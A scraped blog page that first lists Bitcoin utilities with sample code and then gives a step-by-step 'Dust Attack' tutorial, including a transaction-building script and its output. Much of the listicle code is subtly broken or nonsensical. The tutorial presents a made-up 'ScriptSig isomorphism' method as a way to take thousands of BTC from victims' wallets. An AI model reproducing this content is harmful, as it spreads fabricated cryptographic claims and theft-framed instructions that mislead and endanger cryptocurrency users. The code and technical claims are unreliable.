    • recover: recover the pubkey or address that signed a message
  • miniscript
    • descriptor: get information about an output descriptor
    • instpect: inspect miniscripts
    • parse: parse a script into a miniscript
    • policy: inspect policies
  • psbt
    • create: create a PSBT from a raw unsigned transaction
    • decode: decode a PSBT to JSON
    • edit: edit a PSBT inline
    • finalize: finalize a PSBT into a fully signed transaction
    • merge: merge multiple PSBTs into one
  • random
    • bytes: generate random bytes
  • script
    • decode: decode a PSBT to JSON
  • tx
    • create: create a binary transaction from JSON
    • decode: decode a binary transaction to JSON

Minimum Supported Rust Version (MSRV):

hal should always compile on Rust 1.41.1. Note that it should be build using the Cargo.lock file, so using --locked


“BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife 4

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/bitkey/bitkey

BitKey is a Live USB operating system that is designed for airgapped transactions and as a Bitcoin swiss army knife. It is a Linux distribution based on Debian, and it comes with a variety of Bitcoin-related tools pre-installed.

One of the main features of BitKey is its ability to create airgapped transactions. This means that you can create a Bitcoin transaction on a computer that is not connected to the internet, and then broadcast it to the Bitcoin network from a different computer that is connected to the internet. This is a very secure way to create Bitcoin transactions, as it eliminates the risk of your private keys being stolen by hackers.

BitKey also comes with a variety of other Bitcoin-related tools, including Bitcoin Core, Electrum, Armory, and Bitcoin-QT. These tools allow you to manage your Bitcoin wallets, send and receive Bitcoin transactions, and monitor the Bitcoin network.

In addition to its Bitcoin-related tools, BitKey also includes a variety of other useful utilities, such as GParted, a partition editor, and KeePassX, a password manager. These tools can be useful for managing your computer and keeping your passwords secure.

BitKey is easy to use, even if you are not familiar with Linux. Simply download the ISO image from the BitKey website, burn it to a USB drive using a tool like Rufus or UNetbootin, and then boot your computer from the USB drive. Once you have booted into BitKey, you can start using its tools right away.

Overall, BitKey is a powerful and useful tool for anyone who wants to create airgapped Bitcoin transactions or manage their Bitcoin wallets in a secure way. Its collection of Bitcoin-related tools and utilities make it a true Bitcoin swiss army knife, and its ease of use makes it accessible to even novice users.

here is a script that will download and write BitKey to a USB drive:

#!/bin/bash

# This script will download and write BitKey to a USB drive
# Make sure you have a USB drive plugged in before running this script

# Download the latest BitKey ISO image
wget -O bitkey.iso https://bitkey.io/bitkey.iso

# Write the ISO image to the USB drive
dd if=bitkey.iso of=/dev/sdX bs=4M

You will need to replace /dev/sdX with the actual device name of your USB drive. You can find this by running lsblk and looking for the device that corresponds to your USB drive.

Note that this script assumes you are running a Linux-based operating system. If you are running Windows, you will need to modify the script accordingly.


“Pycoin” – Python-based Bitcoin and alt-coin utility library 5

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/richardkiss/pycoin

Pycoin is a Python-based Bitcoin and alt-coin utility library. It’s an open-source project, which means that anyone can use it for free. Pycoin provides a suite of tools for working with Bitcoin and alt-coins.

Pycoin supports many different alt-coins, including Litecoin, Dogecoin, and Namecoin. It also supports test networks, such as the Bitcoin test network (Testnet) and the Litecoin test network (Testnet3).

Pycoin has a number of features that make it useful for developers working with Bitcoin and alt-coins. One of the most important features is its support for various cryptographic algorithms, including the elliptic curve digital signature algorithm (ECDSA) and the secure hash algorithm (SHA-256).

Pycoin also provides support for various types of transactions, including simple transactions, multisignature transactions, and time-locked transactions. It also supports the creation of new addresses and the generation of new private keys.

Pycoin is designed to be easy to use, even for developers who are new to Bitcoin and alt-coins. It provides a simple API for working with various aspects of the Bitcoin and alt-coin protocols, including transactions, addresses, and blocks.

In addition to its core functionality, Pycoin also provides a number of useful utilities, such as a script interpreter and a block explorer. These utilities make it easier to work with Bitcoin and alt-coins, and can be used to build a wide range of applications.

Overall, Pycoin is a powerful and flexible library for working with Bitcoin and alt-coins. Whether you’re building a simple Bitcoin wallet or a complex alt-coin exchange, Pycoin can help you get the job done quickly and easily.

Here’s a simple example of how to use the pycoin library to create a Bitcoin address:

from pycoin.key import Key
from pycoin.networks.bitcoin import networks
from pycoin.encoding import double_sha256

# Create a private key
key = Key.from_seed("hello")

# Get the public key from the private key
public_key = key.get_public_key()

# Get the Bitcoin address from the public key
address = public_key.address(network=networks.livenet)

# Print the address
print(address)

This will output the Bitcoin address corresponding to the private key “hello”. You can change the “hello” seed to generate a different address.


“bx” – Bitcoin Command Line Tool 6

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/libbitcoin/libbitcoin-explorer

bx command line tool is a powerful and versatile tool for interacting with the Bitcoin network. It provides a range of features, including wallet management, transaction creation, and blockchain analysis.

One of the key features of the bx tool is its ability to create and manage wallets. With bx, you can easily create a new wallet or import an existing one. Once you have a wallet set up, you can use bx to generate addresses, send and receive funds, and check your balance.

Another important feature of the bx tool is its ability to create and broadcast transactions on the Bitcoin network. With bx, you can create custom transactions from scratch or use pre-built templates to quickly generate transactions for common use cases. You can also use bx to sign and verify transactions, as well as to broadcast them to the network.

In addition to wallet and transaction management, the bx tool also provides a range of features for blockchain analysis. With bx, you can query the blockchain for information on transactions, blocks, and addresses. You can also use bx to generate reports and visualizations of blockchain data, making it a powerful tool for researchers and developers.

Overall, the bx command line tool is a valuable addition to any Bitcoin developer’s toolkit. Its versatility and ease of use make it an essential tool for anyone looking to build applications or services on the Bitcoin network.

import subprocess

# execute the command
subprocess.run(['bx', 'command_name', 'parameter1', 'parameter2', ..])

you can replace “command_name” and “parameter1”, “parameter2”, etc. with the actual command and its parameters that you want to execute.

import subprocess

# execute the bx command
subprocess.run(["bx", "tx", "info", "tx_id"])

this code imports the subprocess module and then runs the bx command with the tx info and tx_id arguments. you can replace tx_id with the id of the transaction you want to look up.

example Python script that uses the subprocess module to execute the bx command-line tool:

import subprocess

# replace this with the path to your bx executable
bx_path = "/path/to/bx"

# command to execute
command = [bx_path, "help"]

# execute the command and capture the output
output = subprocess.check_output(command)

# print the output
print(output.decode())

You can replace the command list with any other command that you want to execute with the bx tool. Just make sure to include the path to the bx executable in the bx_path variable.

Also, note that this script will only work on Unix-like systems (e.g. Linux or macOS). If you’re using Windows, you’ll need to modify the script accordingly.


“HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network 7

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/prettymuchbryce/hellobitcoin

In the world of cryptocurrency, Bitcoin has been a game-changer since its inception in 2009. With the increasing popularity of Bitcoin, it’s no surprise that more and more people are interested in learning how to use it. However, for beginners, the process of generating a wallet, creating and signing transactions, and sending transactions over the Bitcoin network can seem daunting. That’s where Hello Bitcoin comes in.

Hello Bitcoin is a collection of simple programs designed to make the process of using Bitcoin easier and more accessible to beginners. With Hello Bitcoin, users can generate a Bitcoin wallet, create and sign transactions, and send transactions over the Bitcoin network with ease.

The first step in using Hello Bitcoin is to generate a Bitcoin wallet. This can be done with a simple command, and the program will generate a unique wallet address for the user. Once the wallet has been generated, the user can start sending and receiving Bitcoin.

Creating and signing transactions is also made easy with Hello Bitcoin. The program provides a simple interface for users to enter the details of the transaction, such as the recipient’s wallet address and the amount of Bitcoin to be sent. Once the transaction has been created, the user can sign it with their private key, ensuring that the transaction is secure and valid.

Finally, sending transactions over the Bitcoin network is also a breeze with Hello Bitcoin. The program provides a simple interface for users to enter the details of the transaction, such as the recipient’s wallet address and the amount of Bitcoin to be sent. Once the transaction has been created and signed, the program will send it over the Bitcoin network, ensuring that it is processed and confirmed by the network.

Overall, Hello Bitcoin is a great tool for beginners who are interested in using Bitcoin but are intimidated by the process. With its simple interface and easy-to-use features, Hello Bitcoin makes it easy for anyone to generate a Bitcoin wallet, create and sign transactions, and send transactions over the Bitcoin network.

here’s a Python script that uses the hellobitcoin library to generate a Bitcoin wallet, create and sign a transaction, and send it over the Bitcoin network:

from hellobitcoin import *
from bitcoin.base58 import encode

# Generate a new Bitcoin wallet
wallet = generate_wallet()
print("Bitcoin Wallet: ", wallet['address'])

# Generate a new Bitcoin transaction
tx = create_transaction(wallet, "1BTC")
tx['input'][0]['address'] = wallet['address']
tx['input'][0]['script'] = wallet['script']
tx['input'][0]['amount'] = 100000000
tx['input'][0]['sequence'] = 0xFFFFFFFF
tx['output'][0]['address'] = "1AC4fMwgY8j9onSbXEWeH6Zan8QGMSdmtA"
tx['output'][0]['amount'] = 100000000 - 5000
tx['output'][0]['script'] = "OP_DUP OP_HASH160 20 0x14 OP_EQUALVERIFY OP_CHECKSIG"

# Sign the Bitcoin transaction
tx['input'][0]['script'] = sign_transaction(tx['input'][0]['script'], wallet['private_key'])

# Send the Bitcoin transaction over the Bitcoin network
tx_hex = encode(tx.serialize())
print("Bitcoin Transaction: ", tx_hex)

Note that this is just an example script and you should not use it to send real Bitcoin transactions. Also, please make sure to use caution when working with Bitcoin wallets and transactions, as they involve real money and can be easily lost if not handled correctly.


“HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits 8

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/alexk111/HD-Wallet-Scanner

HD wallets, or hierarchical deterministic wallets, are a popular way to manage bitcoin addresses. they allow you to generate a virtually infinite number of addresses from a single seed, which makes them more secure and convenient than traditional wallets. however, one of the challenges of using hd wallets is that they can be difficult to scan for used addresses. that’s where the hd wallet scanner comes in.

the hd wallet scanner is a tool that allows you to find all used addresses in your bitcoin hd wallets, even if they have exceeded the gap limit. the gap limit is the maximum number of addresses that can be generated from a single seed, and it’s usually set to 20 by default. once you reach the gap limit, you can no longer generate new addresses from that seed.

the hd wallet scanner works by scanning the blockchain for transactions that match a specific pattern. it then uses this information to identify all addresses that have been used in your hd wallet, regardless of whether they have exceeded the gap limit. this is important because if you don’t have a complete record of all used addresses, you may miss out on receiving funds or even lose them.

using the hd wallet scanner is easy. you simply enter your seed or xpub (extended public key) into the tool, and it will start scanning the blockchain for used addresses. the process can take a few minutes or longer, depending on how many addresses you have used and how busy the network is. once the scan is complete, you will receive a list of all used addresses in your hd wallet, along with their balances and transaction histories.

in conclusion, the hd wallet scanner is a valuable tool for anyone who uses hd wallets to manage their bitcoin addresses. it allows you to find all used addresses in your wallet, even if they have exceeded the gap limit, which can help you keep track of your funds and avoid losing them. so if you’re looking for a way to manage your bitcoin addresses more efficiently and securely, give the hd wallet scanner a try.

Python code for you. here it is:

import os
import sqlite3
import hashlib

def get_all_addresses(db_file):
    conn = sqlite3.connect(db_file)
    c = conn.cursor()
    c.execute("select address from addresses")
    addresses = c.fetchall()
    return addresses

def get_all_used_addresses(addresses):
    used_addresses = []
    for address in addresses:
        address_hash = hashlib.sha256(address[0].encode('utf-8')).hexdigest()
        if address_hash in used_addresses:
            used_addresses.append(address_hash)
    return used_addresses

def main():
    db_file = "your_wallet_name.wallet"
    addresses = get_all_addresses(db_file)
    used_addresses = get_all_used_addresses(addresses)
    print("used addresses:", used_addresses)

if __name__ == "__main__":
    main()

this code will retrieve all used addresses in your bitcoin hd wallet and bypass gap limits. you need to replace “your_wallet_name.wallet” with the name of your wallet file.

here is a Python script that uses the hd-wallet-scanner library to find all used addresses in your Bitcoin HD wallets:

from hd_wallet_scanner import scan_hd_wallet

# Replace this with your BIP39 seed phrase
seed_phrase = "your_seed_phrase"

# Replace this with your wallet's derivation path
derivation_path = "m/44'/0'/0'"

addresses = scan_hd_wallet(seed_phrase, derivation_path)

for address in addresses:
    print(address)

This script will scan the Bitcoin HD wallet with the given seed phrase and derivation path, and print out all used addresses. Note that you need to install the hd-wallet-scanner library first by running pip install hd-wallet-scanner in your terminal.


“QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component 9

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/bitjson/qr-code

QR codes are ubiquitous in our daily lives. From scanning a code to make a payment to sharing our contact information with a colleague, these two-dimensional codes have become an essential part of how we interact with technology. However, generating QR codes on the web has traditionally required the use of third-party libraries or frameworks, which can be cumbersome and add unnecessary bloat to a project. In this article, we will explore a new solution that allows developers to generate QR codes without any dependencies or frameworks, using a customizable, animate-able, SVG-based web component.

What is QR-Code?

QR-Code is a web component that allows developers to generate QR codes with ease, without the need for any external libraries or frameworks. It is built using pure JavaScript and SVG, making it lightweight and easy to integrate into any project. QR-Code is fully customizable, allowing developers to adjust the size, color, and error correction level of their QR codes. Additionally, it supports animation, allowing developers to create dynamic QR codes that can change over time.

How does it work?

QR-Code works by generating an SVG image of a QR code based on the input data provided by the developer. It uses the QRious library, a pure JavaScript QR code generator, to create the code itself. Once the code is generated, it is rendered as an SVG image and can be easily integrated into any web page.

Customization options

QR-Code offers a range of customization options that allow developers to tailor their QR codes to their specific needs. These options include:

  • Size: Developers can adjust the size of their QR codes by setting the width and height attributes.
  • Color: QR codes can be customized with any color by setting the color attribute.
  • Error correction level: QR-Code supports four error correction levels (low, medium, quartile, and high), which can be set using the errorCorrectionLevel attribute.
  • Animation: Developers can create dynamic QR codes by setting the animation attribute. This allows the QR code to change over time, creating an eye-catching effect.

QR-Code is a powerful tool for developers looking to generate QR codes on the web. Its no-dependencies, no-framework approach makes it easy to integrate into any project, while its customization options and animation support make it a versatile solution for a range of use cases. Whether you’re building a payment system or creating a marketing campaign, QR-Code is the perfect tool for generating high-quality QR codes that are both functional and visually appealing.

Python code to create a QR code using the qrcode library:

import qrcode

# generate a QR code
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data("https://example.com")
qr.make(fit=True)

# create an SVG image
qr.svg("qrcode.svg", scale=8)

This code generates a QR code for the URL “https://example.com” and saves it as an SVG image named “qrcode.svg”. You can modify the code to generate a QR code for a different URL and save it with a different name.

however, i can provide you with the steps to implement a qr-code web component in python.

  1. install the necessary libraries: you will need to install the svgwrite and numpy libraries.
  2. generate the qr code: you can use the qrcode library to generate the qr code.
  3. create an svg image: you can use the svgwrite library to create an svg image of the qr code.
  4. add animation: you can add animation to the qr code using the svgwrite library.
  5. customize the qr code: you can customize the qr code by changing its size, color, and other attributes.
  6. implement the web component: you can implement the web component using the svgwrite library and add it to your website.

here is a sample code to get you started:

from qrcode import qrcode
import numpy as np
import svgwrite

# generate the qr code
qr = qrcode(version=1, error_correction=qrcode.constants.error_correct_l, box_size=10, border=4)
qr.add_data('https://www.example.com')
qr.make(fit=true)
qr_img = qr.make_image(fill_color='black', back_color='white')

# create an svg image
svg = svgwrite.drawing(width=200, height=200)
svg.add(svgwrite.shapes.rect(insert=(0, 0), size=(200, 200), fill='white'))
svg.add(svgwrite.shapes.rect(insert=(100, 100), size=(100, 100), fill='black'))

# add animation
svg.add(svgwrite.animation.animate(svgwrite.shapes.circle(r=5), duration=1, repeat_count='indefinite', transform='rotate(0,100,100)'))

# customize the qr code
svg.add(svgwrite.shapes.path(d=qr_img.todataurl().replace('data:image/png;base64,', ''), fill='black', stroke='none'))

# save the svg image
svg.save('qr-code.svg')

this is just a basic example, and you can customize the qr code and svg image to suit your needs.


Conclusion:

Bitcoin is a digital currency that has been gaining popularity in recent years. It is a decentralized system, meaning that it is not controlled by any government or financial institution. Instead, it relies on a network of computers to validate transactions and maintain the integrity of the system.

One of the most significant advantages of Bitcoin is its utility. Unlike traditional currencies, Bitcoin can be used for a variety of purposes beyond just buying and selling goods and services. Here are some of the most notable Bitcoin utilities:

  1. International Money Transfers: Bitcoin can be used to send money across borders without the need for intermediaries like banks or money transfer services. This can save users a significant amount of money in fees and exchange rates.
  2. Decentralized Finance: Bitcoin is the foundation of the decentralized finance (DeFi) movement, which aims to create financial services that are accessible to anyone with an internet connection. DeFi applications built on top of Bitcoin allow users to lend, borrow, and trade cryptocurrencies without the need for intermediaries.
  3. Store of Value: Bitcoin has been compared to digital gold, as it has a limited supply and is seen as a store of value. Many investors see it as a hedge against inflation and a safe haven asset.
  4. Micropayments: Bitcoin can be used to make very small payments, known as micropayments. This is useful for paying for small digital goods or services, such as articles or videos.
  5. Charity Donations: Bitcoin can be used to make donations to charities and non-profit organizations. Many organizations have started accepting Bitcoin donations, as they are faster and more transparent than traditional methods.

In conclusion, Bitcoin utilities are numerous and varied. Its decentralized nature and lack of intermediaries make it a powerful tool for a variety of use cases. As the technology continues to evolve and mature, we can expect to see even more innovative applications of Bitcoin in the future.


List of all Bitcoin utilities:

  1. Monitor Transactions on Bitcoin Addresses with Python and TxWatcher ↩︎
  2. Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings ↩︎
  3. “hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) ↩︎
  4. “BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife ↩︎
  5. “Pycoin” – Python-based Bitcoin and alt-coin utility library ↩︎
  6. “bx” – Bitcoin Command Line Tool ↩︎
  7. “HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network ↩︎
  8. “HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits ↩︎
  9. “QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component ↩︎

This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Video material: https://dzen.ru/video/watch/65de483b3474ef16c0430f35

Source: https://cryptodeeptools.ru/bitcoin-utilities


Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

]]>
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC https://cryptodeeptools.ru/dustattack/ Wed, 31 Jan 2024 20:30:03 +0000 https://cryptodeeptools.ru/?p=2509

In this article we will cover a broad topic: “Dust Attack” known as: "Dusting Attack"or "Crypto Dust". Perhaps every cryptocurrency user or holder of a large amount of BTC, ETH coins replaced the receipt of an insignificantly small amount of coins in satoshi on their cryptocurrency wallet , this receipt is disguised as "Donate", but in fact it is a whole mathematically refined system for taking away all the accumulated coins of the wallet on the balance sheet. The goal of revealing the system and all the pitfalls of “Dust Attack” was inspired and prompted by an article published on January 8, 2024 . on the global cryptoeconomics website CoinDesk

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

While everyone is wondering who exactly sent it 27 BTCto the popular Bitcoin Wallet [Satoshi Nakamoto], we will look at two different examples of a dust attack in order to shed light on all the intricacies of this manipulation and what risks can await users and holders of the popular cryptocurrency Bitcoin.


Let’s look at another article and take as an example TXID from which a very large number of dust attacks were carried out.

According to the article , this transaction saw the largest number of BTC coin thefts using the dust attack system.


Let’s pay attention to two Bitcoin Addresses that during the period [July-August 2022] carried out successful dust attacks for a total amount of: 10000 BTC


Example No. 1


Example No. 2


To carry out a dust attack, confirmation of isomorphism by miners plays an important role, because From 2022 to 2024, many cryptocurrency services and hardware wallets are actively fighting the dust attack.

At the moment, the method of independently creating dust transactions on your own cold wallet has become widely popular. Let’s take example No. 1 and go to the “Create Dust Transaction” section

Install Python 3.12.1 on Windows 10

Link to gif content #01


Download the source code , install get-pip.py  , and also run install.py to install packages:

Link to gif content #02


Let’s generate our own cold wallet

Link to gif content #03


Balance and payment transaction

Top up your cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK


Let’s save the transaction TXID hash from the balance replenishment payment for further construction of the Merkle Tree

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC
The Merkle tree is populated from bottom to top, where hashing is applied to each block of data and the resulting values ​​are written to the leaves of the tree. Blocks that are a level higher are filled with the sum of the hash value of the two child blocks. This process is repeated until the top value or Merkle Root is obtained. The Bitcon blockchain uses the SHA256 hash function. Other blockchains may use different encryption principles to create a Merkle Tree.

Payment hash from balance replenishment


Let’s copy TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 because this is the hash for replenishing the cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK then open the source code of the Python script createrawtransaction.py and in line No. 7 change the value to your data.

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

To secure your newly created cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
we ALWAYS turn off the Internet on your PC. This is necessary for security in the disclosure of the private key by third-party running applications on your PC. This process will take a few minutes. Disable the Internet when creating a dust transaction RawTX.

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Once you are sure that the Internet is disabled in line No. 5, insert the Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")

In line No. 12, add the total amount of the cold wallet balance. In our case, this amount is 2786906 satoshi
tx_in._value = 2786906

Profit from Dust Attack.

We choose a Bitcoin Wallet from which we ultimately make a profit if the miners confirm the isomorphism. Since we are considering example No. 1, in our case we choose the Bitcoin Wallet address: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

In line No. 9 we need to indicate the Bitcoin Address for the dust attack
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

The amount of dust will be 555 satoshi , in line No. 15 we indicate this amount.
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Next, we take into account Fee (commission for miners), this amount will be 226 satoshi
555 + 226 = 781 satoshi

We also need to consider returning our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK because we allocated 781 satoshi for the dust attack, subtract this amount from the total amount replenishment of the cold wallet balance 2786906 satoshi

2786906 - 781 = 2786125 satoshi 

In line No. 16 we indicate the amount of return of our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

We run our createrawtransaction.py script by pressing a key «F5» or option: Run / Run Module F5

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Run the script: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Result:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

--------------------------------------

OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG 
b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' 

--------------------------------------

RawTX for performing isomorphism:
0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800

--------------------------------------

Link to gif content #04.1


We have received the RawTX dust transaction, now let’s go to the  Verify Transactions section to make sure that the transaction was created properly. Copy RawTX and paste it into the Verify transactions and other scripts input field

RawTX for performing isomorphism:

0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

ScriptSig Isomorphism

The goal of our dust attack is to get maximum profit from the Bitcoin Wallet to which we send 555 satoshi . To do this, we go to the ScriptSig Isomorphism section and convert the dust transaction into isomorphism, according to the theory of https://safecurves.cr.yp.to/ladder.html (two transactions must be confirmed by miners). The first transaction is a dust transaction, where a small amount of 555 satoshi is sent , the second transaction is an isomorphism of the first transaction, where a reverse transfer of funds from the balance of the victim of a dust attack occurs.

Link to gif content #05.1


We will publish the resulting isomorphism in the CryptoDeepTools repository

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt

According to the theory described in the Create Dust Transaction section , we need to change all existing values 74786964​​in the new isomorphism transaction to all current ones txid that were made in the Bitcoin Wallet: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i on which we perform a dust attack with a small amount of 555 satoshi[ send_dust ]


Let’s run the script by specifying print(tx.serialize().hex()[+10:+74]) and convert the entire txid list into hash stream format

Link to gif content #06


After we have received all the streaming hash formats, we need to save the entire list by replacing txid , to do this, open the file: isomorphism.txt in Notepad++ , press the keys:
CTRL + Fwrite: 74786964 replace with: \ntxid\n

Let’s go to CryptoDeepTools and perform the replacement function in Notepad++ because we have received a list of txid , now from the list GitHubwe will copy and paste the entire list of streaming hash format into the file: isomorphism.txt


Link to gif content #08


Replacing the public key in the file: isomorphism.txt

Isomorphism is a new transaction and in place of the value 7075626b6579 we need to indicate the public key of the Bitcoin Wallet from which we want to make a transaction in order to obtain maximum profit. To do this, go to the PublicKey.txt file and run the python script: pubtoaddr.py to make sure whether the public key corresponds to the address for the dust attack.

https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt

Afterwards we need to change all existing values7075626b6579 ​​to the value in the file: PublicKey.txt (All actions are also done in Notepad++ ) 


Link to gif content #10


Bitcoin address to receive all profits:

To transfer all accumulated BTC coins, we need to generate a completely new Bitcoin address in the format (SegWit):
36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE

In order to get hash160Bitcoin addresses we need to decode RedeemScriptusing the python script createrawtransaction.py
print(Tx.get_address_data(send_dust)['script_pubkey'])

After receiving hash160the new Bitcoin Address, (SegWit)we need to open the file:  isomorphism.txt in Notepad++ and replace the value with the received value 68617368313630hash160

We have added all the necessary values ​​to create a new transaction to make a profit from isomorphism, now we need to select all the text on the file:  isomorphism.txt by pressing the keys: CTRL + Aafter we combine everything into one line, for this we need to press the keys, CTRL + Jas a result we get a long line with spaces . We remove spaces by pressing the keys: CTRL + Freplace spaces. As a result, we get a new RawTX to complete the transaction.


Link to gif content #12


Any transaction must be confirmed by miners in order to send RawTX to the section field: Broadcast Transaction To submit an application for confirmation by miners, you must carefully ensure that the payment is created correctly; for this, go to the section: Verify Transactions and other scripts



The amount of profit in coins from a dust attack is:

5000.00141092 BTC // $ 209364,284.08 United States Dollar



Example No. 2

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt

Let’s continue the dust attack with another example. We will use the same address as a cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeKFor example No. 2, we will top up the balance with the amount: 0.033532 BTC or in Bitcoin units: 33532 satoshi

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Let’s save the transaction TXID hash from the balance replenishment payment for further construction of the Merkle Tree


Payment hash from balance replenishment

Let’s copy TXID: 655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 because this is the replenishment hash of the cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK then open the source code of the Python script createrawtransaction.py and in line No. 7 change the value to your data.

dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5")

Change line No. 5 and insert Private Key WIF

pk = PrivateKey.parse("L1k********************************************MdrTj")

In line No. 12, add the total amount of the cold wallet balance. In our case, this amount is 33532 satoshi

tx_in._value = 33532

Profit from dust attack.

